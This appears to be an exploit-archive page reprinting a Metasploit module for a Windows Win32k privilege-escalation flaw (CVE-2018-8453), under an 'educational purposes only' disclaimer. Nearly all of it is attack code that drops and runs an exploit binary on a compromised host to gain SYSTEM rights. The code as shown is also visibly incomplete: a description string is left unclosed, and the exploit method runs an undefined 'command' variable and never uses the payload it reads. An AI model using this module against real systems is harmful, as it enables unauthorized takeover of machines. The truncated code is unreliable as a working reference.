Microsoft windows ntusersetwindowfnid win32k user callback privilege escalation (metasploit) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-07-17 |
Type : local |
Platform : windows
This exploit / vulnerability Microsoft windows ntusersetwindowfnid win32k user callback privilege escalation (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Windows NtUserSetWindowFNID Win32k User Callback',
'Description' => %q{
An elevation of privilege vulnerability exists in Windows when the Win32k component
fails to properly handle objects in memory, aka "Win32k Elevation of Privilege Vulnerability."
This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows
Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2,
Windows 10, Windows 10 Servers.
def target_info
fail_with(Failure::None, 'Session is already elevated') if is_system?
unless sysinfo['OS'].start_with?(target['Version']) && sysinfo['Architecture'] == 'x86'
fail_with(Failure::NoTarget, 'Target is not compatible with exploit')
end
end
def write_file_to_target(fname, data)
tempdir = session.sys.config.getenv('TEMP')
file_loc = "#{tempdir}\\#{fname}"
vprint_warning("Attempting to write #{fname} to #{tempdir}")
write_file(file_loc, data)
vprint_good("#{fname} written")
file_loc
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")
end
def exploit
target_info
exe_name = 'CVE-2018-8453.exe'
exe_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8453', exe_name)
vprint_status("Reading payload from file #{exe_path}")
raw = File.read(exe_path)
vprint_status("Executing command: #{command}")
session.sys.process.execute(command, nil, {'Hidden' => false})
print_good('Exploit finished, wait for privileged payload execution to complete.')
end
end
Microsoft windows ntusersetwindowfnid win32k user callback privilege escalation (metasploit)